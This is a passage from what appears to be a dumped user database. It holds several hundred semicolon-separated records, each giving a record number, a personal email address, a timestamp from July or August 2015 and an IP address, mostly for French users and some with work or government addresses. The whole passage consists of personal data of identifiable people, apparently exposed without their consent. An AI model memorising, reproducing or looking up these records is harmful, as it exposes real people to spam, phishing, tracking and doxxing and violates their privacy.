16:14:02;83.194.2.52 +12207;l_cl_s@hotmail.fr;2015-07-21 16:23:39;82.236.173.44 +12208;savarydenise@outlook.fr;2015-07-21 16:37:33;89.91.132.203 +12209;poulpedevie@gmail.com;2015-07-21 17:31:33;90.9.209.182 +12210;c.beauseigneur@gmail.com;2015-07-21 17:39:46;79.92.137.141 +12211;jl.pin@orange.fr;2015-07-21 17:48:06;92.150.229.31 +12212;laure.claeysens@gmail.com;2015-07-21 18:09:28;78.242.37.141 +12213;paulette.creantor@hotmail.fr;2015-07-21 18:11:03;90.31.55.190 +12214;rvalibhay@yahoo.fr;2015-07-21 18:50:23;31.33.52.144 +12215;amandine.lelievre@aol.fr;2015-07-21 19:46:29;86.67.176.196 +12216;valerolora@gmail.com;2015-07-21 20:35:06;89.88.175.68 +12217;jessica-7@hotmail.fr;2015-07-21 23:03:49;109.31.91.136 +12218;leiva@hotmail.fr;2015-07-21 23:35:02;176.181.116.67 +12219;val.gillaizeau@orange.fr;2015-07-21 23:50:41;90.20.79.99 +12220;bruxus@free.fr;2015-07-21 23:54:15;88.171.236.229 +12221;sallysoofr@yahoo.fr;2015-07-22 03:37:31;82.226.7.167 +12222;laure.bregler@orange.fr;2015-07-22 06:52:48;109.31.91.60 +12223;cat.2310@hotmail.com;2015-07-22 07:50:10;62.197.71.115 +12224;ssophie.guyomard13@gmail.com;2015-07-22 08:38:34;86.204.16.245 +12225;gael.ozanne@sfr.fr;2015-07-22 09:28:15;89.91.17.70 +12226;kuntzdaniel@noos.fr;2015-07-22 09:34:35;195.132.128.39 +12227;anny.clouzard@orange.fr;2015-07-22 11:19:13;92.144.228.123 +12228;joellevignes@icloud.com;2015-07-22 12:40:42;46.22.83.135 +12229;daniellemorassut.dm@gmail.com;2015-07-22 14:20:46;93.25.244.30 +12230;ac.richard@wanadoo.fr;2015-07-22 14:36:19;92.139.196.193 +12231;aurorelasala@gmail.com;2015-07-22 14:51:42;194.126.128.148 +12232;priscilla.camile@live.fr;2015-07-22 14:58:05;77.197.189.121 +12233;christine.gisbertgarcia@gmail.com;2015-07-22 15:09:39;84.101.54.70 +12234;karinejacquier@netcourrier.com;2015-07-22 15:37:22;83.201.176.141 +12235;cooky28@orange.fr;2015-07-22 15:55:36;90.19.25.252 +12236;fbonnabeau@laposte.net;2015-07-22 16:41:11;178.22.1.222 +12237;hubert.josiane@sfr.fr;2015-07-22 17:10:59;90.12.18.80 +12238;ninipoub@gmail.com;2015-07-22 17:20:44;109.6.168.21 +12239;manon.brochetcalleja@gmail.com;2015-07-22 18:36:22;2.8.27.108 +12240;fanny.salleyron@gmail.com;2015-07-22 19:04:06;90.53.182.78 +12241;s.caurette@orange.fr;2015-07-22 19:05:56;92.131.45.122 +12242;mailys.sorre@gmail.com;2015-07-22 19:46:21;184.163.151.162 +12243;maud_granet@yahoo.fr;2015-07-22 20:29:51;77.130.33.125 +12244;lambert.marion@neuf.fr;2015-07-22 21:15:16;79.83.225.48 +12245;margaux.ferrasse@gmail.com;2015-07-22 21:27:39;90.23.55.127 +12246;benoke@neuf.fr;2015-07-22 21:51:49;88.121.74.97 +12247;j.lenglet@cegetel.net;2015-07-22 22:46:56;78.119.102.224 +12248;mail@dlacroix.de;2015-07-22 23:36:22;78.52.155.77 +12249;vortex6@hotmail.fr;2015-07-23 04:34:14;80.215.192.39 +12250;ftrdg@gmail.com;2015-07-23 09:38:26;92.154.171.48 +12251;laury.m@hotmail.fr;2015-07-23 10:01:03;195.101.214.163 +12252;genevievepeziere@yahoo.fr;2015-07-23 10:22:28;92.158.30.223 +12253;sc.simonin@orange.fr;2015-07-23 11:20:25;37.58.138.169 +12254;celine.macle@gmail.com;2015-07-23 13:30:38;83.196.138.228 +12255;adanede17@jcu.edu;2015-07-23 14:02:45;2.0.87.184 +12256;christinelaurence7@yahoo.fr;2015-07-23 14:13:26;90.31.19.60 +12257;ccclau@hotmail.fr;2015-07-23 14:25:11;81.241.82.103 +12258;loora_h@outlook.fr;2015-07-23 14:58:06;92.132.5.39 +12259;catherine.lorinet@laposte.net;2015-07-23 15:09:06;178.213.67.2 +12260;michelbilzic@orange.fr;2015-07-23 15:11:12;2.2.222.220 +12261;sarah-fraichit@hotmail.com;2015-07-23 15:47:40;95.182.173.47 +12262;cjfoulquier@hotmail.fr;2015-07-23 16:02:31;85.124.176.58 +12263;oce.saliou@gmail.com;2015-07-23 16:19:55;80.14.0.89 +12264;yberlendis@gmail.com;2015-07-23 16:20:26;193.113.57.163 +12265;marilyne.caveriviere@hotmail.fr;2015-07-23 17:01:07;90.3.138.198 +12266;modanydomy@yahoo.fr;2015-07-23 17:59:42;78.126.201.48 +12267;hormijo@gmail.com;2015-07-23 18:44:11;188.44.89.46 +12268;sopaget@gmail.com;2015-07-23 21:31:59;92.156.48.77 +12269;Florencetassin@gmail.com;2015-07-23 22:43:05;212.198.31.70 +12270;ghislainemoreau@ymail.com;2015-07-23 23:03:11;92.92.225.54 +12271;jessyca.cristiani@yahoo.fr;2015-07-23 23:35:13;92.94.205.187 +12272;pascale.labrousse@gmail.com;2015-07-24 08:55:53;217.128.119.27 +12273;ch.jaulin@orange.fr;2015-07-24 09:42:45;92.152.84.67 +12274;callierpatricia@aol.com;2015-07-24 09:56:14;88.183.171.50 +12275;estel.v@hotmail.fr;2015-07-24 10:08:18;89.92.201.106 +12276;kcbabou@hotmail.com;2015-07-24 10:14:26;80.13.73.194 +12277;ETS-AUBRY@WANADOO.FR;2015-07-24 10:42:14;78.120.153.96 +12278;MARIELEMAITRE@HOTMAIL.COM;2015-07-24 10:45:23;86.197.31.234 +12279;aline.gouttefarde@laposte.net;2015-07-24 11:02:31;88.175.25.156 +12280;pascale.theault@orange.fr;2015-07-24 11:10:25;92.142.160.195 +12281;nickipre@orange.fr;2015-07-24 11:54:53;86.206.177.46 +12282;severine.anton@gmail.com;2015-07-24 12:11:13;88.185.204.156 +12283;christelle.saitour@sfr.fr;2015-07-24 13:27:07;77.206.97.97 +12284;jtaulera@free.fr;2015-07-24 13:32:08;90.2.33.145 +12285;aude.bailly@free.fr;2015-07-24 14:28:35;91.103.43.50 +12286;marinapavard@orange.fr;2015-07-24 14:56:32;81.50.54.6 +12287;paulamartins.lph@gmail.com;2015-07-24 15:00:24;80.236.46.23 +12288;desbourdes_1999@yahoo.fr;2015-07-24 15:45:00;86.71.13.72 +12289;bruno.dequidt@orange.fr;2015-07-24 15:45:13;81.250.209.2 +12290;renee.finet@cegetel.net;2015-07-24 15:48:47;88.140.235.69 +12291;delphinefontaine56@gmail.com;2015-07-24 15:50:00;86.72.176.16 +12292;juliacof@free.fr;2015-07-24 16:29:12;88.165.82.141 +12293;abdel.saridj@free.fr;2015-07-24 17:02:21;217.15.93.190 +12294;labaranita@hotmail.com;2015-07-24 17:10:27;90.40.25.137 +12295;phmoniot@orange.fr;2015-07-24 17:32:57;90.18.51.180 +12296;soizic81@orange.fr;2015-07-24 18:04:34;90.55.184.83 +12297;leelee70@hotmail.fr;2015-07-24 18:16:03;90.46.223.104 +12298;cathy.chweudura@neuf.fr;2015-07-24 18:17:29;91.238.214.58 +12299;n.quanonne@laposte.net;2015-07-24 18:28:13;93.16.96.105 +12300;PSPHILIPON@DBMAIL.COM;2015-07-24 21:31:24;31.39.254.163 +12301;nanne33230@aol.com;2015-07-24 21:44:52;109.25.218.168 +12302;sophiepetit2107@gmail.com;2015-07-24 22:00:58;83.155.28.72 +12303;stephansandrine@orange.fr;2015-07-24 22:22:27;86.212.100.159 +12304;yifanya@Live.fr;2015-07-24 22:36:45;83.153.74.154 +12305;clochette.r@orange.fr;2015-07-24 23:49:16;92.140.214.59 +12306;audrey.balem@orange.fr;2015-07-25 02:57:30;85.68.91.236 +12307;s.courouble@yahoo.fr;2015-07-25 06:57:07;84.100.95.77 +12308;valymlopez@hotmail.fr;2015-07-25 08:51:47;109.223.35.88 +12309;tan.lovage@laposte.net;2015-07-25 09:30:20;2.1.131.131 +12310;lobstein.camille@gmail.com;2015-07-25 11:02:53;77.128.190.84 +12311;michaelnadine.truschev@dartybox.com;2015-07-25 11:52:11;213.44.94.102 +12312;patsteinmetz@hotmail.fr;2015-07-25 12:47:06;91.91.12.159 +12313;murielle26@gmail.com;2015-07-25 12:56:28;88.120.132.218 +12314;fabcache@free.fr;2015-07-25 13:11:19;81.250.30.129 +12315;raymonde.cloe@gmail.com;2015-07-25 13:20:57;83.203.255.176 +12316;paul.delbaere@orange.fr;2015-07-25 14:17:43;109.219.152.103 +12317;stf.vinhas@orange.fr;2015-07-25 14:25:33;88.174.231.10 +12318;mmflallemand@orange.fr;2015-07-25 14:58:02;90.11.108.29 +12319;inba85@laposte.net;2015-07-25 18:45:29;2.5.27.246 +12320;fmeunier.san@orange.fr;2015-07-25 18:49:50;86.203.244.235 +12321;ally-nath@hotmail.fr;2015-07-25 18:49:59;77.128.44.105 +12322;naoeva2@free.fr;2015-07-25 20:54:50;82.233.179.116 +12323;mcmpiron@gmail.com;2015-07-25 21:09:37;176.146.166.7 +12324;anamaltee@gmail.com;2015-07-25 21:09:45;77.128.245.228 +12325;bchauffaille@orange.fr;2015-07-25 22:14:43;92.143.229.33 +12326;tykat29@yahoo.fr;2015-07-25 23:36:03;109.218.218.51 +12327;s.chrys@ymail.com;2015-07-26 08:22:02;85.203.111.145 +12328;leschevauxd2g@msn.com;2015-07-26 09:12:41;78.118.179.53 +12329;demanetclelie@gmail.com;2015-07-26 12:05:25;109.132.202.192 +12330;nounette04@gmail.com;2015-07-26 12:47:20;78.231.76.157 +12331;vanos.ada@gmail.com;2015-07-26 12:53:31;109.128.208.153 +12332;Ribeiro.64margarida@gmail.com;2015-07-26 13:10:27;176.127.138.44 +12333;margarita.taggart@yahoo.com;2015-07-26 13:23:26;62.233.37.44 +12334;colasantevalentine@gmail.com;2015-07-26 14:03:45;93.26.141.252 +12335;catherine.armingaud@laposte.net;2015-07-26 14:31:01;92.145.43.168 +12336;patricia.gisquet438@orange.fr;2015-07-26 15:22:28;90.60.28.181 +12337;lh.corinne@free.fr;2015-07-26 15:33:07;88.127.213.92 +12338;kynie@free.fr;2015-07-26 15:39:05;88.178.164.21 +12339;cynthia.marquat@yahoo.fr;2015-07-26 15:49:40;90.15.66.168 +12340;stephanie.hourcade@orange.fr;2015-07-26 16:00:28;86.201.247.120 +12341;aurelie.delarbre@yahoo.fr;2015-07-26 16:18:43;82.120.190.18 +12342;noelle.dl@gmail.com;2015-07-26 16:45:01;31.38.108.247 +12343;blandine.mestre@gmail.com;2015-07-26 16:53:25;176.181.217.208 +12344;nathalie.nurit@orange.fr;2015-07-26 17:26:26;82.120.14.191 +12345;lafond.ev@laposte.net;2015-07-26 18:05:22;92.162.240.42 +12346;elomalchair@gmail.com;2015-07-26 19:02:29;80.201.188.2 +12347;eloda@orange.fr;2015-07-26 20:06:38;109.220.57.81 +12348;martinefranckart@live.be;2015-07-26 20:27:17;87.67.160.46 +12349;valerieetleszouzous@yahoo.fr;2015-07-26 21:10:47;77.200.4.15 +12350;nprune@hotmail.fr;2015-07-26 21:45:30;77.196.194.215 +12351;mireille.ristaul@orange.fr;2015-07-26 21:46:11;86.219.151.184 +12352;valerieroch@bbox.fr;2015-07-26 21:52:08;176.181.120.166 +12353;penglu177@gmail.com;2015-07-26 22:22:03;176.151.213.12 +12354;nature.elles@yahoo.fr;2015-07-26 23:38:35;78.195.60.91 +12355;ANNEGAUDRY@LAPOSTE.NET;2015-07-27 00:15:46;78.216.116.168 +12356;sandrine.guillemant@gmail.com;2015-07-27 06:47:04;113.197.68.117 +12357;oceanelaetitia84@gmail.com;2015-07-27 07:50:21;88.186.185.152 +12358;legofflaurence@free.fr;2015-07-27 09:21:22;192.134.5.164 +12359;claude.zulianel@sfr.fr;2015-07-27 09:41:59;91.91.43.42 +12360;carinerhernu@live.fr;2015-07-27 10:35:52;217.167.214.195 +12361;duverger.virginie.72@gmail.com;2015-07-27 10:36:30;193.190.122.30 +12362;mireille_douma@hotmail.com;2015-07-27 10:48:44;80.201.122.174 +12363;delphine.philippe@cegetel.net;2015-07-27 10:58:13;78.116.123.171 +12364;phloyez@yahoo.fr;2015-07-27 11:18:39;88.173.66.141 +12365;annie.carette@club-internet.fr;2015-07-27 11:59:07;84.98.74.61 +12366;psteph010386@gmail.com;2015-07-27 12:01:46;31.38.204.26 +12367;emeline.barrouillet@gmail.com;2015-07-27 13:52:01;87.255.129.218 +12368;ndebias@ch-bourg01.fr;2015-07-27 14:38:55;93.95.235.5 +12369;dayllie@gmail.com;2015-07-27 14:41:40;109.10.219.193 +12370;merceetjohn@free.fr;2015-07-27 15:06:31;88.164.157.98 +12371;Solloavocat@gmail.com;2015-07-27 15:34:43;41.202.219.79 +12372;flore.saint-ygnan@hotmail.com;2015-07-27 15:40:43;92.143.26.17 +12373;jg70@orange.fr;2015-07-27 16:06:34;90.29.9.87 +12374;isacoline@yahoo.fr;2015-07-27 16:31:36;178.51.234.151 +12375;sabahelene@yahoo.fr;2015-07-27 18:03:10;82.236.11.218 +12376;plazer.sabrina@gmail.com;2015-07-27 19:00:57;78.116.51.177 +12377;renee.lacombe0382@orange.fr;2015-07-27 19:02:03;109.30.253.185 +12378;a2s.com@free.fr;2015-07-27 19:10:40;81.250.40.203 +12379;sabine57500@hotmail.fr;2015-07-27 20:23:16;90.6.39.87 +12380;larosedebene@yahoo.fr;2015-07-27 21:16:06;213.188.188.133 +12381;annickr7@aol.com;2015-07-27 21:34:37;93.11.194.57 +12382;nathalie_disanto@hotmail.com;2015-07-28 00:27:39;88.174.40.214 +12383;nathalie.pezennec@aviation-civile.gouv.fr;2015-07-28 10:20:32;143.196.231.101 +12384;florence.fp@hotmail.fr;2015-07-28 10:24:22;92.140.147.31 +12385;francoise.hazaers@club-internet.fr;2015-07-28 10:27:00;84.100.151.233 +12386;millet.clara@live.fr;2015-07-28 10:29:06;213.44.56.82 +12387;mapie.taz@range.fr;2015-07-28 10:41:48;88.180.220.9 +12388;severine2.perrin@laposte.net;2015-07-28 11:38:55;90.6.229.94 +12389;fabienne.gandeboeuf@laposte.net;2015-07-28 12:01:43;80.14.107.242 +12390;steph_var@hotmail.com;2015-07-28 13:46:36;85.237.100.76 +12391;melijou741@gmail.com;2015-07-28 13:59:58;90.3.165.132 +12392;camille.macouillard@orange.fr;2015-07-28 14:03:22;109.215.217.116 +12393;stefiae@yopmail.fr;2015-07-28 14:17:07;193.25.183.51 +12394;aureliebogdan@hotmail.fr;2015-07-28 14:33:05;82.123.74.134 +12395;marie.bizot@gmail.com;2015-07-28 15:04:16;81.255.140.145 +12396;briverbeken@gmail.com;2015-07-28 15:12:41;85.201.8.140 +12397;blandine.fruh@laposte.net;2015-07-28 15:58:58;77.128.157.201 +12398;pa.turpault@laposte.net;2015-07-28 16:47:51;2.10.26.145 +12399;kouameoctavie@hotmail.fr;2015-07-28 16:51:51;147.154.235.102 +12400;vanessthurner@yahoo.fr;2015-07-28 18:08:48;84.103.95.42 +12401;isabelle.jarlet@sfr.fr;2015-07-28 18:19:17;77.196.121.109 +12402;veroniquejanicki@orange.fr;2015-07-28 18:50:07;90.26.220.53 +12403;genevieve_vassal@yahoo.fr;2015-07-28 19:03:34;82.244.111.15 +12404;v.rooyen.julie@gmail.com;2015-07-28 19:12:31;77.145.194.189 +12405;sandradusuzeau@orange.fr;2015-07-28 19:41:34;109.208.232.32 +12406;valo.bouillonbourgeois@gmail.com;2015-07-28 21:34:33;82.243.129.57 +12407;marlene.areille@laposte.net;2015-07-28 21:38:57;93.11.252.82 +12408;delattreraphaelle@gmail.com;2015-07-29 07:06:19;195.132.170.161 +12409;cat.bonhomme858@gmail.com;2015-07-29 07:57:53;81.67.193.64 +12410;alexia.penchenatti@hotmail.fr;2015-07-29 09:35:12;92.133.164.115 +12411;frethore@sfr.fr;2015-07-29 10:01:08;90.29.99.173 +12412;floamimi@yahoo.fr;2015-07-29 10:02:53;213.56.230.166 +12413;marion.t38@hotmail.fr;2015-07-29 10:16:51;212.99.54.36 +12414;dragana.mijic@gmx.com;2015-07-29 10:18:25;185.46.214.50 +12415;caraes.yann@wanadoo.fr;2015-07-29 10:33:38;2.10.216.82 +12416;schnoebelenc@yahoo.fr;2015-07-29 10:43:59;109.217.88.201 +12417;agathe@agathegits.com;2015-07-29 11:13:28;217.109.55.221 +12418;brigitte.pindeler@wanadoo.fr;2015-07-29 12:39:44;164.131.131.177 +12419;corinne.henault@groupe-altair.fr;2015-07-29 13:02:33;82.124.166.147 +12420;audrey.idczak@gmail.com;2015-07-29 13:31:06;78.155.31.114 +12421;michele.leymarie@orange.fr;2015-07-29 14:07:22;82.127.162.106 +12422;sandra_0121@hotmail.com;2015-07-29 14:48:44;92.158.68.161 +12423;laurentsamper@sfr.fr;2015-07-29 14:54:30;86.69.111.212 +12424;chantalvanbuyten@skynet.be;2015-07-29 15:24:03;109.131.6.68 +12425;alexceptionnelle@gmail.com;2015-07-29 16:21:48;213.41.72.26 +12426;duretmartine@gmail.com;2015-07-29 16:44:16;89.84.79.198 +12427;stephanie.toledo34@gmail.com;2015-07-29 17:08:25;78.241.255.27 +12428;boccaron.joel@wanadoo.fr;2015-07-29 17:18:56;86.193.220.214 +12429;mf.bejean@gmail.com;2015-07-29 17:29:42;85.170.25.97 +12430;ch.berg@hotmail.com;2015-07-29 17:39:17;109.88.116.42 +12431;mogenierg@wanadoo.fr;2015-07-29 17:48:34;86.200.129.221 +12432;autocad974@outlook.fr;2015-07-29 18:21:27;90.10.58.202 +12433;dominiquemorel2208@free.fr;2015-07-29 19:00:03;82.236.97.159 +12434;marie2koh@hotmail.co.jp;2015-07-29 19:45:49;212.194.251.122 +12435;baixue2011@msn.cn;2015-07-29 20:53:28;82.230.174.114 +12436;famille-pivard@hotmail.fr;2015-07-29 21:47:21;90.45.124.221 +12437;christi0903@sfr.fr;2015-07-29 22:52:26;78.125.159.168 +12438;li.cathy@neuf.fr;2015-07-29 23:43:52;89.81.14.11 +12439;pwned.hurley@gmail.com;2015-07-30 00:25:20;81.220.222.107 +12440;coralie.blot.hse@gmail.com;2015-07-30 00:28:55;109.16.25.146 +12441;ssaint-albin@laposte.net;2015-07-30 02:58:58;37.163.24.170 +12442;martine05@aliceadsl.fr;2015-07-30 08:40:59;88.177.224.234 +12443;bellechant@orange.fr;2015-07-30 09:16:13;92.145.186.34 +12444;marielise.lestang@gmail.com;2015-07-30 10:36:19;194.206.50.253 +12445;martine.clemens@laposte.net;2015-07-30 12:05:37;77.128.37.235 +12446;patafixe@wanadoo.fr;2015-07-30 12:27:45;82.127.69.194 +12447;gisno@hotmail.fr;2015-07-30 13:57:49;90.15.249.41 +12448;helene.boffy@wanadoo.fr;2015-07-30 14:08:35;86.204.35.236 +12449;marie.dubut@relay.fr;2015-07-30 14:17:32;194.150.11.60 +12450;nathalie.gerbino@outlook.fr;2015-07-30 14:43:44;86.205.150.36 +12451;valgeorges@netcourrier.com;2015-07-30 14:45:09;46.18.99.166 +12452;cendelina@hotmail.fr;2015-07-30 14:56:50;217.108.156.177 +12453;jasmina.kulaglich@wanadoo.fr;2015-07-30 15:42:47;176.183.37.67 +12454;delphine.mieze@wanadoo.fr;2015-07-30 18:20:01;90.47.121.50 +12455;legriffon.ludivine@hotmail.fr;2015-07-30 19:24:50;92.158.13.66 +12456;acl.richard@orange.fr;2015-07-30 20:19:04;109.218.94.229 +12457;cecilepralong@yahoo.fr;2015-07-30 21:16:13;92.129.178.120 +12458;Eva.mancinella@live.fr;2015-07-30 21:24:42;78.227.247.132 +12459;arlette_leveque@orange.fr;2015-07-30 23:24:49;2.12.37.253 +12460;chambe.carole@orange.fr;2015-07-31 00:26:59;90.26.212.155 +12461;vezarddany@gmail.com;2015-07-31 07:29:06;109.31.139.160 +12462;jenn-77@hotmail.fr;2015-07-31 07:47:05;86.217.59.31 +12463;nathalie_c@orange.fr;2015-07-31 08:20:22;86.205.191.26 +12464;dominique.m.robert@wanadoo.fr;2015-07-31 08:59:50;90.0.129.25 +12465;michele.orschel@wanadoo.fr;2015-07-31 09:28:38;92.148.196.17 +12466;magalaw34@gmail.com;2015-07-31 11:09:59;80.15.179.114 +12467;caroline.mauleon@wanadoo.fr;2015-07-31 11:26:39;109.214.70.95 +12468;marinefontaine@gmail.com;2015-07-31 11:58:31;176.183.175.107 +12469;clauprad43@orange.fr;2015-07-31 12:15:23;92.133.223.56 +12470;sylvie.mansart@laposte.net;2015-07-31 12:36:32;217.77.224.129 +12471;arichin@infomaniak.ch;2015-07-31 12:59:31;178.196.167.115 +12472;bwolffatisse@wanadoo.fr;2015-07-31 13:14:44;92.130.26.27 +12473;dantecstephanie@hotmail.fr;2015-07-31 14:46:39;176.187.117.220 +12474;bonmary@neuf.fr;2015-07-31 14:49:47;84.98.225.166 +12475;abalud@sfr.fr;2015-07-31 15:59:45;92.140.56.163 +12476;mchristine.chapon@gmail.com;2015-07-31 16:44:57;86.70.20.202 +12477;amaliaboldici@yahoo.fr;2015-07-31 16:57:47;78.123.204.129 +12478;cristal0603@orange.fr;2015-07-31 19:08:48;90.17.28.250 +12479;melinda74@live.fr;2015-07-31 19:21:13;83.115.210.12 +12480;valerie.abdelkader68@gmail.com;2015-07-31 19:27:57;89.95.179.20 +12481;amandine585@hotmail.com;2015-07-31 20:30:15;89.86.95.9 +12482;olivier.poulichet@wanadoo.fr;2015-07-31 20:32:58;109.218.102.244 +12483;catherine-gories@orange.fr;2015-07-31 21:52:25;90.27.232.35 +12484;christine-boulangerie@voila.fr;2015-07-31 22:29:48;82.225.66.191 +12485;valerievanderbeck@yahoo.fr;2015-07-31 22:36:42;217.136.37.27 +12486;chris.ferrer.lacarte@sfr.fr;2015-07-31 22:59:34;109.21.246.163 +12487;karukarvalho@gmail.com;2015-08-01 01:46:05;89.155.137.82 +12488;arlette.lamarche@free.fr;2015-08-01 10:20:55;78.233.136.8 +12489;nadiabandiera@hotmail.fr;2015-08-01 10:57:25;86.222.81.108 +12490;mariejo.girardot@gmail.com;2015-08-01 11:00:54;88.121.107.50 +12491;eliane.dolbeau@neuf.fr;2015-08-01 11:23:34;79.91.86.166 +12492;n.vial@bluewin.ch;2015-08-01 11:26:34;84.227.167.115 +12493;plaza.cathy@gmail.com;2015-08-01 12:04:34;78.206.189.51 +12494;moriau.isabelle@skynet.be;2015-08-01 12:18:32;109.130.72.67 +12495;charlotlaurent@sfr.fr;2015-08-01 12:46:21;78.112.216.12 +12496;annie.aubrun04@gmail.com;2015-08-01 13:00:27;85.168.101.151 +12497;zazi.azwaw@free.fr;2015-08-01 13:12:40;82.247.121.6 +12498;angedanjou@gmail.com;2015-08-01 13:19:32;85.171.18.225 +12499;katty33@hotmail.fr;2015-08-01 16:35:24;92.146.84.70 +12500;b.pigneux@live.fr;2015-08-01 18:53:58;83.194.172.103 +12501;sandrine.golomb@gmail.com;2015-08-01 18:57:00;78.192.63.24 +12502;martine.laussac@gmail.com;2015-08-01 18:59:30;109.10.15.50 +12503;susio@sfr.fr;2015-08-01 19:06:05;93.29.85.52 +12504;rince.delphine@orange.fr;2015-08-01 20:10:08;2.10.178.157 +12505;isabelle.quesnot@wanadoo.fr;2015-08-01 20:27:19;86.215.55.223 +12506;vava_88@hotmail.fr;2015-08-01 23:35:29;90.32.126.93 +12507;juliedelapoterie@hotmaiĺ.com;2015-08-02 00:04:08;2.2.87.185 +12508;n.mercuri@orange.fr;2015-08-02 00:22:52;79.81.254.87 +12509;liliane.fakler@gmail.com;2015-08-02 08:59:50;82.227.75.184 +12510;fannyvincelot@free.fr;2015-08-02 12:33:30;82.235.2.93 +12511;apm94@sfr.fr;2015-08-02 13:28:10;84.102.95.32 +12512;elodielogel@hotmail.fr;2015-08-02 15:23:31;77.128.33.127 +12513;carpineti.julie@gmail.com;2015-08-02 15:26:19;90.52.134.129 +12514;andre.gilles4@wanadoo.fr;2015-08-02 17:04:35;92.136.183.113 +12515;oceane12062@aol.com;2015-08-02 17:17:49;78.121.191.121 +12516;broillet.l@bluewin.ch;2015-08-02 17:19:37;178.196.143.168 +12517;gmh2b@orange.fr;2015-08-02 18:20:57;109.14.3.187 +12518;sabyne2811@hotmail.fr;2015-08-02 18:32:59;78.223.100.216 +12519;mayann@free.fr;2015-08-02 19:14:39;77.204.145.239 +12520;fee.dhiver@orange.fr;2015-08-02 19:36:29;90.21.89.197 +12521;berenice.sagnard@noos.fr;2015-08-02 20:34:35;85.168.118.215 +12522;Corinne.delabarre@aafeurope.com;2015-08-02 20:58:27;82.126.112.121 +12523;elise.faure1@yahoo.fr;2015-08-02 22:28:04;88.127.139.92 +12524;christelle-voisin@orange.fr;2015-08-03 00:58:06;84.6.81.58 +12525;nroyer@mail.ru;2015-08-03 01:09:23;192.226.184.221 +12526;s.lucchini@voila.fr;2015-08-03 09:41:26;109.208.75.158 +12527;stephaniecapello@orange.fr;2015-08-03 10:16:08;90.28.177.87 +12528;v.dumoutier@sfr.fr;2015-08-03 10:22:42;86.73.187.194 +12529;nabila1603@hotmail.com;2015-08-03 11:46:22;81.240.172.165 +12530;bernadette.caillet@gmail.com;2015-08-03 11:49:14;217.108.222.177 +12531;bigourd.monique@gmail.com;2015-08-03 12:42:21;78.211.33.66 +12532;tetu.jean_marc@bbox.fr;2015-08-03 13:01:42;5.49.4.62 +12533;carolynelespagnol@hotmail.com;2015-08-03 13:28:28;62.244.85.53 +12534;cyrildegoulange@orange.fr;2015-08-03 13:38:46;86.207.232.239 +12535;leprat.aurore@wanadoo.fr;2015-08-03 13:47:39;2.2.186.180 +12536;petrequin.annie@free.fr;2015-08-03 13:49:27;86.210.192.123 +12537;fayard.evelyne@yahoo.fr;2015-08-03 14:23:50;78.228.222.158 +12538;duchessenevers@outlook.com;2015-08-03 14:58:40;90.48.17.90 +12539;ANGELIQUE.ZAMBACH@EMBIHL.COM;2015-08-03 15:06:23;80.14.162.174 +12540;nathaliedalstein57@orange.fr;2015-08-03 15:17:04;83.196.172.15 +12541;SCHNEIDERLINE@HOTMAIL.FR;2015-08-03 15:25:12;109.190.40.198 +12542;caro.buze@gmail.com;2015-08-03 15:35:03;193.164.156.11 +12543;ginette.dumont@orange.fr;2015-08-03 16:53:38;86.197.144.249 +12544;tuaillon.martine@orange.fr;2015-08-03 17:43:15;92.138.39.77 +12545;annablue@orange.fr;2015-08-03 19:05:17;90.32.189.141 +12546;calvayo@orange.fr;2015-08-03 19:09:09;92.149.109.89 +12547;denise.claux@wanadoo.fr;2015-08-03 19:37:53;86.206.240.157 +12548;nina.cc14@gmail.com;2015-08-03 19:53:22;81.65.131.30 +12549;mnbeltran@live.fr;2015-08-03 20:39:31;78.122.216.221 +12550;babeth.049@hotmail.fr;2015-08-03 21:20:42;2.1.175.237 +12551;solenn.cabillic@orange.fr;2015-08-03 21:31:41;83.199.51.31 +12552;armellemilliat@yahoo.fr;2015-08-03 21:32:18;109.212.111.95 +12553;valerie.hegron@almaco.cc;2015-08-03 21:33:50;84.5.136.168 +12554;petitfanny@yahoo.fr;2015-08-03 21:56:59;90.2.226.155 +12555;caponat@live.fr;2015-08-03 22:19:14;78.114.66.203 +12556;floleojade@free.fr;2015-08-03 22:35:25;78.212.40.184 +12557;nestor.anna@gmail.com;2015-08-03 23:24:16;89.66.33.128 +12558;athenashobbies@gmail.com;2015-08-04 01:08:42;88.160.124.241 +12559;fegeant.magali@orange.fr;2015-08-04 01:11:48;92.135.2.164 +12560;julie.lieau@orange.fr;2015-08-04 01:57:22;92.140.121.250 +12561;stelae20@hotmail.com;2015-08-04 05:00:47;202.22.228.15 +12562;estelle.thevenet@hotmail.fr;2015-08-04 08:13:15;89.158.53.125 +12563;nolwenn.garcia09@gmail.com;2015-08-04 09:59:39;80.15.78.133 +12564;mcm179@sfr.fr;2015-08-04 12:56:02;84.99.169.160 +12565;tt2ne@aol.com;2015-08-04 13:14:18;80.215.138.203 +12566;carlaazdl@gmail.com;2015-08-04 14:21:32;88.181.126.135 +12567;dmacf@gmx.de;2015-08-04 14:33:39;88.163.250.235 +12568;beilig@hotmail.com;2015-08-04 15:14:48;46.218.70.43 +12569;loulettedu.70@gmail.com;2015-08-04 15:47:44;86.197.152.157 +12570;soniagiannotti@libero.it;2015-08-04 15:50:57;217.58.163.161 +12571;dorota.wroblewski@gmail.com;2015-08-04 16:31:00;80.11.198.21 +12572;patelesia@laposte.net;2015-08-04 17:00:28;90.83.228.52 +12573;maille.isabel@gmail.com;2015-08-04 17:10:00;78.250.131.89 +12574;binbadji@gmail.com;2015-08-04 17:44:35;90.96.60.23 +12575;barbaranarcisse@me.com;2015-08-04 18:23:42;83.153.188.21 +12576;mlcapp27@free.fr;2015-08-04 20:01:58;78.247.112.112 +12577;delphine.thiriet@free.fr;2015-08-04 20:37:17;88.183.140.215 +12578;annesonord@msn.com;2015-08-04 21:01:18;80.215.138.204 +12579;inci.sinem.1993@gmail.com;2015-08-04 21:51:18;88.166.254.4 +12580;happyfunkyfamily@yahoo.fr;2015-08-04 22:43:23;92.158.109.180 +12581;lilandco.cei@gmail.com;2015-08-04 23:15:24;88.173.36.184 +12582;valerie.laize@voila.fr;2015-08-04 23:58:03;77.192.202.6 +12583;fabegyed@orange.fr;2015-08-05 00:30:34;92.134.153.217 +12584;fabienne.gamot62@orange.fr;2015-08-05 07:32:09;90.7.146.125 +12585;caroline.calmus@univ-reims.fr;2015-08-05 08:03:13;84.103.34.134 +12586;chrystelecaron@yahoo.fr;2015-08-05 08:24:33;88.136.155.40 +12587;v.lozingo@laposte.net;2015-08-05 09:46:18;176.57.246.26 +12588;salihaoukherfellah@gmail.com;2015-08-05 11:06:11;90.83.27.219 +12589;scohadon@gmail.com;2015-08-05 11:36:41;82.124.191.242 